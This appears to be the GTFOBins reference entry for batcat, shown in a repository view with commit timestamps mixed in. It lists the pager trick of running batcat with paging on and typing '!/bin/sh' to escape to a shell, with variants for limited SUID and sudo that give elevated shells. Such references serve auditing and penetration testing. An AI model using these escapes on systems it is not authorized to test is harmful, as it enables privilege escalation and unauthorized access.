GTFOBins.github.io/_gtfobins/batcat.md

17 lines
487 B
Markdown
Raw Normal View History

---
2023-01-07 20:18:07 +01:00
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. `--paging always` can be omitted provided that the output doesn't fit the screen.
functions:
shell:
- code: |
batcat --paging always /etc/profile
!/bin/sh
2023-01-07 20:18:07 +01:00
limited-suid:
- code: |
./batcat --paging always /etc/profile
!/bin/sh
sudo:
- code: |
sudo batcat --paging always /etc/profile
!/bin/sh
---